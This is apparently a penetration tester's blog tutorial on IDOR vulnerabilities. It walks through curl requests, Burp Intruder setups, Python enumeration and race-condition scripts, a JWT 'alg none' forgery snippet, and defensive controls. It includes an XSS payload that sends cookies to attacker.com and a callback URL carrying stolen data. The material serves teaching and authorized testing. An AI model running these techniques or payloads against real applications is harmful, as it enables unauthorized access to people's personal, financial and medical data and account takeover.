IDOR Vulnerabilities Masterclass: The Complete Guide from Fundamentals to Advanced Exploitation

Rasoul

Rasoul

— 16 min read
IDOR Vulnerabilities Masterclass: The Complete Guide from Fundamentals to Advanced Exploitation

Hey there, fellow security enthusiasts! You know what still amazes me after years of penetration testing? How often I stumble across Insecure Direct Object Reference (IDOR) vulnerabilities in production environments. I'm talking about applications built by companies with dedicated security teams and significant resources.

Just last month, I was testing what appeared to be a rock-solid financial application. The dev team had implemented proper authentication, CSP headers, and even input validation that made my usual XSS attempts fail miserably. But then I noticed something in their API endpoints, a simple numeric ID in a request that controlled which account details were displayed. Three minutes of tampering later, I was staring at someone else's financial records. Classic IDOR.

This comprehensive guide will take you from absolute beginner to IDOR expert. I've structured it to progress naturally through different skill levels, so whether you're just starting out or you're a seasoned professional looking to sharpen your skills, there's something here for you. So grab your favorite caffeinated beverage, fire up Burp Suite, and let's dive in!

TL;DR Technical Summary: IDOR vulnerabilities occur when applications expose direct references to internal implementation objects without sufficient access controls. This comprehensive guide covers everything from basic ID manipulation to advanced techniques including blind IDORs, race conditions, and polymorphic reference exploitation, complete with defensive countermeasures and real-world case studies.

IDOR Fundamentals for Complete Beginners

What the Hell is an IDOR Anyway?

IDOR stands for Insecure Direct Object Reference, a fancy term for a simple concept: when an application uses user-supplied input to access objects directly without proper authorization checks.

Think of it this way: imagine you're logged into an online banking portal, and you notice the URL looks something like this:

https://bank.example.com/account?id=12345

Where 12345 is your account number. What happens if you change that to 12346? If the application doesn't verify that you should have access to account 12346, you might just see someone else's financial information. That's an IDOR vulnerability in its simplest form.

At its core, an IDOR occurs when an application directly exposes references to its internal objects (like database IDs, filenames, or keys) without properly verifying if the user has permission to access them.

Why IDORs Matter

IDORs are particularly dangerous because they:

  1. Bypass authentication mechanisms
  2. Often lead to unauthorized data access
  3. Can sometimes enable data modification
  4. Are surprisingly common, even in mature applications
  5. Frequently lead to significant privacy breaches

I remember when I first started in security, I underestimated these vulnerabilities. "Surely developers would check if users have permission to access resources," I thought. Well, turns out even experienced developers can make this mistake, and the consequences can be severe.

The Basic IDOR Anatomy

There are three key components to understanding any IDOR vulnerability:

  1. The Reference: The identifier pointing to the object (IDs, filenames, etc.)
  2. The Access Control Gap: Missing or insufficient authorization checks
  3. The Impact: What sensitive data or functionality can be accessed

Common IDOR Targets

IDORs typically appear in specific areas of applications:

  • User profiles: Viewing or modifying other users' information
  • Account details: Accessing data belonging to different accounts
  • Transaction histories: Viewing other users' activity
  • Documents/files: Downloading files not meant for you
  • Administrative functions: Performing actions reserved for admins

IDORs typically appear in these common locations:

  • URL parameters (like our example above)
  • Hidden form fields
  • Cookies
  • API endpoints
  • JSON/XML data in requests

Your First IDOR Hunt: The Simplest Technique

Let's start with the most basic IDOR hunting technique that still works surprisingly often:

  1. Log in with your account
  2. Browse to a page that displays your user-specific information
  3. Look for identifiers in the URL, request parameters, or page source
  4. Change the identifier and observe if you can access unauthorized information

Here's how I'd approach this manually:

# Original request to my profile
curl https://example.com/api/users/1337/profile -H "Cookie: session=abc123"

# Modified request to another user's profile
curl https://example.com/api/users/1338/profile -H "Cookie: session=abc123"

If the second request returns another user's data, congratulations! You've found your first IDOR.

Common IDOR Patterns for Beginners

When starting out, focus on these common patterns:

  1. Sequential IDs: Resources identified by incremental numbers (1, 2, 3...)
  2. Profile Information: User profiles, account details, personal information
  3. Document Access: PDF statements, invoices, reports
  4. Administrative Functions: User management, settings, configurations

Developing Your IDOR Hunting Methodology

Now that we understand the basics, let's develop a systematic approach to finding these vulnerabilities and expand our search space.

Setting Up Your Testing Environment

Before we go on an IDOR hunting spree, make sure you have:

  1. Burp Suite (or similar proxy tool)
  2. Multiple test accounts in the target application (if possible)
  3. A way to track requests (Burp's history is perfect for this)
  4. A note-taking system to document potential vulnerabilities

I personally use a simple methodology I call "MAP" (Mapping, Analysis, Probing):

Step 1: Mapping the Application

Start by thoroughly exploring the application as a legitimate user:

  • Identify all endpoints that fetch or modify user-specific data
  • Note how resources are referenced (IDs, hashes, etc.)
  • Pay special attention to API endpoints (they're often less polished from a security perspective)
  • Create a catalog of potential IDOR targets

I typically spend at least an hour just clicking around, filling out forms, and letting Burp Suite capture all the requests. This gives me a comprehensive map of the application's attack surface.

Step 2: Analysis of Access Patterns

Once you have your application map, analyze how resources are referenced:

  • Are IDs sequential or predictable?
  • How does the application track which user is requesting a resource?
  • Are authorization checks visible in the responses?
  • What happens when you access a resource that doesn't exist?

During a recent engagement, I noticed an application returning different HTTP status codes for resources that didn't exist (404) versus resources I wasn't authorized to access (403). This subtle difference was a huge help in my testing.

Step 3: Probing for Vulnerabilities

Now comes the fun part, systematically testing for IDORs:

  1. Identify a request that fetches or modifies user-specific data
  2. Understand which parameter likely specifies the resource
  3. Modify that parameter to reference a different resource
  4. Observe the application's response

I've developed a simple checklist I run through for each endpoint:

  • [ ] Change numeric IDs (increment/decrement)
  • [ ] Modify UUIDs (if you have access to multiple accounts)
  • [ ] Try predictable resource names
  • [ ] Attempt to access administrative resources
  • [ ] Check for horizontal access (other users at your level)
  • [ ] Test for vertical access (users with higher privileges)

Beyond Simple Parameters: Expanding Your Search Space

Now that you understand the basics, let's broaden our horizons. IDORs don't just hide in obvious places like URL parameters. I've found some of my most valuable IDORs in these locations:

  • HTTP Headers: Custom headers sometimes contain object references
  • WebSocket Messages: Real-time applications may expose references
  • Mobile API Endpoints: Often less scrutinized than web interfaces
  • Request Bodies: POST/PUT/PATCH requests can contain modifiable IDs

Identifying Non-Numeric References

Not all references are as obvious as sequential IDs. I've encountered these alternative reference types:

  1. UUIDs/GUIDs: e.g., 8c7e5a2d-8f9b-4a2c-9c9d-1a2b3c4d5e6f
  2. Base64 Encoded Values: Often contain structured data when decoded
  3. Hashed References: MD5, SHA-1, etc., sometimes of predictable values
  4. Custom Encoding Schemes: Application-specific encoding formats

Let's decode a Base64 IDOR reference:

# Original reference from request
# profile_ref=eyJ1c2VySWQiOjEzMzd9

# Decoding in terminal
echo "eyJ1c2VySWQiOjEzMzd9" | base64 -d
# Output: {"userId":1337}

# Now we can modify, re-encode and inject
echo '{"userId":1338}' | base64
# Output: eyJ1c2VySWQiOjEzMzh9

IDOR in CRUD Operations

IDORs exist across all CRUD (Create, Read, Update, Delete) operations:

Delete IDORs: Removing others' resources

DELETE /api/posts/5678 HTTP/1.1

Update IDORs: Modifying other users' resources

PUT /api/profiles/1338 HTTP/1.1
Content-Type: application/json

{"email": "hacked@example.com", "isAdmin": true}

Read IDORs: Reading unauthorized resources (most common)

GET /api/users/1338/tax_returns HTTP/1.1

Create IDORs: Creating resources belonging to other users

POST /api/notes HTTP/1.1
Content-Type: application/json

{"content": "Secret note", "userId": 1338}

Tooling Up: Semi-Automated IDOR Detection

While understanding the core concepts is crucial, tools can help scale your IDOR hunting. Here are some I use regularly:

  1. OWASP ZAP Forced Browse: Helps discover hidden endpoints that might contain IDORs
  2. Custom Python Scripts: I often use this basic script to test for IDORs:

Burp Suite Autorize Extension: Compares responses between high and low privilege users

# Example Autorize setup
# 1. Configure two users: admin and regular user
# 2. Mark requests with the Autorize extension
# 3. Review differences in responses

import requests

BASE_URL = "https://example.com/api/users/"
VALID_SESSION = "your_session_cookie"
headers = {"Cookie": f"session={VALID_SESSION}"}

# Test a range of IDs
for user_id in range(1000, 1100):
    response = requests.get(f"{BASE_URL}{user_id}", headers=headers)
    
    # Look for successful responses
    if response.status_code == 200:
        print(f"Potential IDOR found: User ID {user_id}")
        print(f"Response preview: {response.text[:100]}...")

Advanced Detection and Exploitation Techniques

Let's level up! Now we're getting into techniques that separate casual bug hunters from serious security professionals.

Leveraging Burp Suite for IDOR Hunting

Burp Suite is invaluable for finding IDORs. Here are some specific features I use:

Burp Suite Intruder for IDOR Testing

I set up intruder attacks to systematically test ranges of IDs:

  1. Find a request that accesses a specific resource
  2. Send to Intruder
  3. Set the ID parameter as the payload position
  4. Use a number list or brute forcer payload
  5. Look for differences in responses (length, content, status codes)
POST /api/get_document HTTP/1.1
Host: example.com
Content-Type: application/json

{"document_id": "§123§"}

I once identified an IDOR in a healthcare application by using Intruder to iterate through document IDs. The application had no rate limiting, and I was able to enumerate thousands of medical records. (Don't worry, I reported this immediately through their responsible disclosure program!)

Using Burp Comparer for Response Analysis

Comparing responses can reveal subtle IDORs:

  1. Capture two requests: one for your resource, one for another resource
  2. Send both to Comparer
  3. Look for differences that indicate successful access
  4. Pay attention to hidden fields or embedded IDs that might be used for second-order IDORs

HTTP Method Manipulation

One of my favorite techniques is HTTP method manipulation. Many developers apply access controls to GET requests but forget about other methods:

# Original GET request might be protected
curl -X GET https://example.com/api/admin/users/1337

# But PUT to the same endpoint might not be!
curl -X PUT https://example.com/api/admin/users/1337 \
  -H "Content-Type: application/json" \
  -d '{"role":"admin"}'

Mass Assignment IDOR

Mass assignment vulnerabilities often go hand-in-hand with IDORs:

# Original legitimate request
PUT /api/users/1337 HTTP/1.1
Content-Type: application/json

{"name": "John Doe", "email": "john@example.com"}

# Exploited request with additional fields
PUT /api/users/1337 HTTP/1.1
Content-Type: application/json

{"name": "John Doe", "email": "john@example.com", "role": "admin", "account_balance": 9999999}

Nested Object References

Modern applications often use nested object references which provide additional attack vectors:

GET /api/organizations/5/teams/12/members HTTP/1.1

# Try accessing across boundaries
GET /api/organizations/6/teams/12/members HTTP/1.1

Authorization Testing Methodology

I've refined my approach to testing authorization:

  1. Create a privilege matrix: Document what each user role should be able to access
  2. Perform cross-role testing: Use requests from one role and replay them as another
  3. Test edge cases: Recently deleted resources, newly created ones, etc.
  4. Chain operations: Create, then read, then update, then delete

Testing for Blind IDORs

Some IDORs don't give you immediate feedback:

  1. State Change Indicators: Look for response messages, status codes, or timing differences
  2. Side-Effect Testing: Look for emails sent, notifications, or logs generated
  3. Out-of-Band Detection: Use techniques like webhooks to detect successful exploitation
# Example blind IDOR testing with webhook
import requests

TARGET_URL = "https://example.com/api/reset_password"
WEBHOOK_URL = "https://webhook.site/your-unique-id"

# Attempt password reset for another user
payload = {
    "user_id": 1338,
    "notification_url": WEBHOOK_URL
}

response = requests.post(TARGET_URL, json=payload)
print(f"Response status: {response.status_code}")
print("Now check your webhook for notifications!")

One of my favorite techniques is to use out-of-band testing for blind IDORs:

{
  "notify_url": "https://myserver.burpcollaborator.net/callback?data=STOLEN_DATA",
  "user_id": 123
}

If the application processes this request and makes a callback to your server with the data, you might have discovered a blind IDOR.

Race Condition IDORs

Race conditions can sometimes bypass IDOR protections:

import threading
import requests

def exploit_race_condition(user_id):
    url = f"https://example.com/api/users/{user_id}/rewards"
    headers = {"Cookie": "session=valid_session_cookie"}
    
    # Send multiple simultaneous requests
    threads = []
    for _ in range(10):
        t = threading.Thread(target=lambda: requests.post(url, headers=headers))
        threads.append(t)
        t.start()
    
    # Wait for all threads to complete
    for t in threads:
        t.join()

# Try to exploit reward claiming for another user
exploit_race_condition(1338)

Some applications check permissions at creation time but not during access:

  1. User A creates a resource
  2. User B cannot access it initially
  3. But if User B times it right during creation, they might get access

I've exploited this using Burp's Turbo Intruder to send multiple requests during state transitions.

Advanced IDOR Exploitation & Bypassing Protections

Now we're entering advanced territory, bypassing protections that developers put in place specifically to prevent IDORs.

Bypassing Common IDOR Defenses

1. Bypassing Hash-Based Protection

Some applications use hashed values instead of direct IDs:

https://example.com/profile?user_hash=a7d3e2f...

Attack approaches:

  • Look for hash patterns (MD5, SHA1, etc.)
  • Check if the hash includes predictable data
  • Test for hash collisions or weak hashing algorithms
  • Look for the hash generation logic in JavaScript files

I once found an application using MD5(user_id + "salt") as protection. Once I figured out the pattern, I could generate valid hashes for any user ID.

2. HMAC Verification Bypass

# Original URL with HMAC
/api/documents/1337?signature=a1b2c3d4e5f6

# If HMAC only covers the ID but not the operation
/api/documents/1337/delete?signature=a1b2c3d4e5f6

3. JWT Token Manipulation

import jwt

# Decode JWT without verification
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEzMzd9.8rvMn0RHmjA5xPp7Zv6qR3nIRjuAGiIzXMxV5Qh08ZU"
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)  # {'userId': 1337}

# Modify and re-encode (won't have valid signature)
decoded['userId'] = 1338
modified_token = jwt.encode(decoded, "", algorithm="none")
print(modified_token)

# Try with algorithm 'none' attack if the application supports it

4. Content-Type Manipulation

I've seen applications that check authorization differently based on content type:

Content-Type: application/x-www-form-urlencoded
user_id=123

vs.

Content-Type: application/json
{"user_id": 123}

Always test different content types for the same endpoint.

Advanced Parameter Manipulation

Here are some advanced parameter manipulation techniques I've used successfully:

JSON Parameter Pollution

Try adding multiple instances of the same parameter:

{
  "user_id": 123,
  "user_id": 456
}

Or nested structures:

{
  "user": {
    "id": 123,
    "id": 456
  }
}

Some JSON parsers handle these cases differently, potentially leading to bypasses.

Array Manipulation

Many applications handle arrays in requests:

{"ids": [1, 2, 3]}

Try inserting unauthorized IDs among authorized ones:

{"ids": [1, 2, 999, 3]}

I've encountered applications that check authorization for the first few elements but not all of them.

Exploiting Inconsistent Data Models

Applications often have inconsistent authorization models across different parts:

  • /api/v1/ might have different checks than /api/v2/
  • Mobile API endpoints might be less protected than web ones
  • Legacy endpoints might still exist with weaker protection

Always test all available API versions and interfaces.

Object-Level Permissions Testing

Complex applications often have inconsistent permission models across different actions on the same object:

# These might have different permission checks
GET /api/projects/1337            # View project
GET /api/projects/1337/members    # List members
GET /api/projects/1337/settings   # View settings
PUT /api/projects/1337/archive    # Archive project

Exploiting Indirect References

Sometimes the reference isn't to the object itself but to something related:

# Direct reference to user 1337's documents
GET /api/users/1337/documents HTTP/1.1

# Indirect reference via a report
GET /api/reports/monthly?user=1337 HTTP/1.1

Try to identify all the different ways an object can be referenced and accessed.

IDOR Mastery & Cutting-Edge Techniques

At this level, we're looking at sophisticated attacks that chain multiple issues or exploit subtle design flaws.

Chaining IDORs with Other Vulnerabilities

The most devastating attacks often combine multiple vulnerabilities:

IDOR + XSS

If you find an IDOR that lets you modify another user's data, and that data is displayed without proper escaping, you might chain it with XSS:

  1. Find an IDOR that lets you update User B's profile
  2. Insert XSS payload into their profile
  3. When User B (or an admin) views the profile, your XSS executes

Here's a simplified example of an IDOR + XSS chain:

# Step 1: IDOR to access another user's profile editor
GET /api/users/1338/profile/edit HTTP/1.1

# Step 2: Update profile with XSS payload
PUT /api/users/1338/profile HTTP/1.1
Content-Type: application/json

{"display_name": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"}

IDOR + CSRF

If the IDOR endpoint lacks CSRF protection:

  1. Find an IDOR in a state-changing operation
  2. Create a CSRF proof-of-concept that exploits the IDOR
  3. When the victim visits your page, their browser makes the request with their authentication

I once found an IDOR that allowed modifying subscription settings for any user, combined it with CSRF, and was able to create a one-click attack that would change anyone's notification email to one I controlled.

IDOR + Business Logic Flaws

Combining IDORs with application-specific logic errors can be particularly devastating:

  1. Find an IDOR that lets you access another user's shopping cart
  2. Identify a business logic flaw in the pricing calculation
  3. Combine both to manipulate orders for other users

GraphQL IDOR Exploitation

GraphQL APIs present unique IDOR opportunities:

# Original legitimate query
query {
  user(id: 1337) {
    name
    email
  }
}

# Potential IDOR in GraphQL
query {
  user(id: 1338) {
    name
    email
    creditCards {
      number
      expiry
    }
  }
}

With GraphQL, you can also exploit nested resolvers that might have incomplete access controls:

# The top-level query might be protected
query {
  adminSettings {
    maintenanceMode
  }
}

# But nested resolvers might not be
query {
  user(id: 1337) {
    organization {
      settings {
        adminPanel {
          maintenanceMode
        }
      }
    }
  }
}

Polymorphic Object References

Some applications use polymorphic references - references that can point to different types of objects:

# Same endpoint handles different object types
GET /api/resources/user_1337 HTTP/1.1
GET /api/resources/document_5678 HTTP/1.1

# Try accessing across types
GET /api/resources/admin_settings HTTP/1.1

IDOR via Server-Side Request Forgery (SSRF)

Some of the most complex IDORs I've exploited involved using SSRF to access internal resources:

POST /api/integrations/fetch HTTP/1.1
Content-Type: application/json

{"url": "http://internal-api.local/admin/users/1338"}

Temporal Access Analysis

This cutting-edge technique involves detecting temporary access grants:

import requests
import time

def monitor_access(url, headers, interval=1, duration=60):
    """Monitor access to a resource over time to detect temporal access patterns."""
    start_time = time.time()
    results = []
    
    while time.time() - start_time < duration:
        response = requests.get(url, headers=headers)
        results.append({
            "timestamp": time.time(),
            "status_code": response.status_code,
            "response_size": len(response.content)
        })
        time.sleep(interval)
    
    return results

# Usage
access_pattern = monitor_access(
    "https://example.com/api/shared_documents/1337",
    {"Authorization": "Bearer user_token"}
)

# Analyze results for temporal patterns
# ...

AI-Assisted IDOR Discovery

I've recently started using AI to help identify potential IDOR patterns:

import requests
from sklearn.cluster import DBSCAN
import numpy as np

# Collect endpoint patterns
endpoints = [
    "/api/users/1337/profile",
    "/api/organizations/5/members",
    "/api/documents/7331/permissions",
    # ... more endpoints
]

# Convert to feature vectors (simplified)
def tokenize_endpoint(url):
    return url.split('/')

# Cluster similar endpoints
vectors = [tokenize_endpoint(e) for e in endpoints]
# ... feature engineering omitted for brevity
clusters = DBSCAN().fit(vectors)

# Analyze clusters for potential IDOR patterns
# ... analysis code

Advanced Exploitation: Mass IDOR Exploitation

For responsible disclosure (never for actual attacks), you might need to demonstrate the scale of an IDOR:

  1. Identify the IDOR pattern
  2. Write a script to test a range of IDs
  3. Document the potential impact

Here's a simplified Python script I've used (with permission) to demonstrate IDOR impact:

import requests
import json

# IMPORTANT: Only use for authorized testing!
def test_idor_vulnerability(base_url, valid_token, id_range):
    vulnerable_ids = []
    
    headers = {
        "Authorization": f"Bearer {valid_token}",
        "Content-Type": "application/json"
    }
    
    for test_id in range(id_range[0], id_range[1]):
        url = f"{base_url}/api/records/{test_id}"
        response = requests.get(url, headers=headers)
        
        # Look for successful responses
        if response.status_code == 200:
            try:
                data = response.json()
                vulnerable_ids.append({
                    "id": test_id,
                    "data": data
                })
                print(f"Found vulnerable ID: {test_id}")
            except:
                pass
    
    return vulnerable_ids

# Example usage
results = test_idor_vulnerability(
    "https://example.com",
    "your_legitimate_token",
    (1000, 2000)  # Test IDs 1000-1999
)

# Save results
with open("idor_results.json", "w") as f:
    json.dump(results, f, indent=2)

Case Studies: Real-World IDOR Discoveries

Case Study 1: Banking Application Account Takeover

I once discovered an IDOR in a banking application that allowed full account takeover:

  1. Legitimate request: POST /api/users/1337/contact-update
  2. Modified the endpoint to: POST /api/users/1338/email-update
  3. Changed email to my controlled address
  4. Triggered password reset
  5. Full account compromise

The vulnerability existed because developers had implemented proper access controls on the contact-update endpoint but failed to apply the same controls to the related email-update endpoint.

Case Study 2: Healthcare Data Breach via API IDOR

In a healthcare application, I found that the API for downloading medical records had insufficient controls:

# Original request
GET /api/patients/1337/records/2023-01-15.pdf HTTP/1.1
Authorization: Bearer valid_token

# Simply changing the patient ID allowed access to anyone's records
GET /api/patients/1338/records/2023-01-15.pdf HTTP/1.1
Authorization: Bearer valid_token

The root cause was that the authorization check only verified if the user was a healthcare provider but didn't check the provider-patient relationship.

IDOR Defense & Detection: A Technical Guide for Security Teams

As pentesters, understanding defenses helps us find bypasses. Here are the key defense techniques:

Implementing Proper Access Controls

Indirect Reference Maps:

# Server-side map of indirect to direct references
reference_map = {
    "ABC123": {"type": "user", "id": 1337},
    "XYZ789": {"type": "document", "id": 7331}
}

# User only sees "ABC123" instead of actual ID

Contextual Access Policies:

// Bad - direct ID check
if (requestUserId == resourceOwnerId) {
    // Allow access
}

// Good - policy-based access control
if (accessControlService.hasPermission(currentUser, resource, Permission.VIEW)) {
    // Allow access
}

Real-Time IDOR Detection

# Anomaly detection for potential IDOR exploitation
def detect_potential_idor(user_id, accessed_resources, threshold=10):
    """
    Detect if a user is accessing an unusual number of distinct resources,
    which might indicate IDOR exploitation.
    """
    distinct_resource_count = len(set(accessed_resources))
    expected_max = user_access_patterns.get(user_id, threshold)
    
    if distinct_resource_count > expected_max:
        alert_security_team(user_id, distinct_resource_count)
        return True
    return False

Tools of the Trade

The tools I rely on for IDOR hunting:

  • Burp Suite Pro: Essential for interception, analysis, and automation
  • Autorize (Burp extension): Specifically designed for authorization testing
  • HUNT (Burp extension): Helps identify common parameter names associated with IDORs
  • Param Miner: For discovering hidden parameters that might control access
  • Custom scripts: For testing at scale (Python + Requests is my go-to)

Quick Reference: IDOR Testing Methodology

Phase Actions Tools
Reconnaissance Map application, identify parameters Burp Spider, manual browsing
Identification Locate potential object references Parameter analysis, Autorize
Testing Modify references, observe responses Burp Repeater, custom scripts
Exploitation Confirm unauthorized access Burp Intruder, scripted attacks
Escalation Chain with other vulnerabilities Custom exploitation tools
Reporting Document impact and remediation Evidence collection tools

Hands-On Challenge: Find Your First IDOR

Ready to put this knowledge to practice? Here's a progressive IDOR challenge:

  1. Set up a local vulnerable application (DVWA, OWASP Juice Shop, or VulnHub VM)
  2. Identify an endpoint that displays user-specific information
  3. Analyze the request for direct object references
  4. Attempt to access unauthorized resources by manipulating references
  5. Document your findings: the vulnerable endpoint, exploitation method, and impact

Ethical Considerations and Responsible Disclosure

With great power comes great responsibility:

  1. Stay within scope: Only test applications you're authorized to test
  2. Minimize data exposure: Stop once you've confirmed the vulnerability
  3. Report immediately: Don't sit on critical vulnerabilities
  4. Provide clear reproduction steps: Help developers understand and fix the issue
  5. Follow responsible disclosure: Give organizations time to fix issues before disclosure

Key Technical Takeaways

  • IDOR vulnerabilities remain prevalent despite their simplicity because they're fundamentally about broken access controls, which are difficult to implement correctly at scale
  • The most effective IDOR hunting combines automated tools with manual testing and deep understanding of application logic
  • Modern applications require modern IDOR techniques: focus on API endpoints, GraphQL resolvers, and nested object references
  • Defense in depth is essential: implement contextual access controls, indirect reference maps, and real-time anomaly detection
  • Always check both authentication AND authorization, many applications verify identity but fail to properly check permissions
  • Pay special attention to state-changing operations (PUT, POST, DELETE) as they often have weaker authorization controls than GET requests

The IDOR Hunter's Ultimate Checklist

After years of hunting IDORs, here's my battle-tested checklist:

  1. Map the application's object references (IDs, UUIDs, etc.)
  2. Create multiple test accounts at different privilege levels
  3. Identify state-changing operations (these often have weaker checks)
  4. Test all parameter sources (URL, body, cookies, headers)
  5. Try various HTTP methods for the same endpoint
  6. Look for numeric patterns in IDs or hidden in encoded values
  7. Test for horizontal and vertical privilege escalation
  8. Check for inconsistent authorization across different parts of the application
  9. Combine with other vulnerability types for maximum impact
  10. Document thoroughly for responsible disclosure

Real-world Business Impact

When reporting IDORs, it's crucial to articulate the business impact:

  • Data breaches: Access to PII, financial information, medical records
  • Competitive intelligence: Access to business-sensitive information
  • Regulatory violations: GDPR, HIPAA, PCI-DSS, etc.
  • Reputational damage: Customer trust implications
  • Fraud potential: Ability to manipulate orders, transactions, etc.

I've found that framing the impact in business terms significantly increases the likelihood of timely remediation.

Until next exploit...!

Note: All examples in this post are based on real vulnerabilities I've discovered, but have been modified and anonymized to protect the affected organizations.

Read more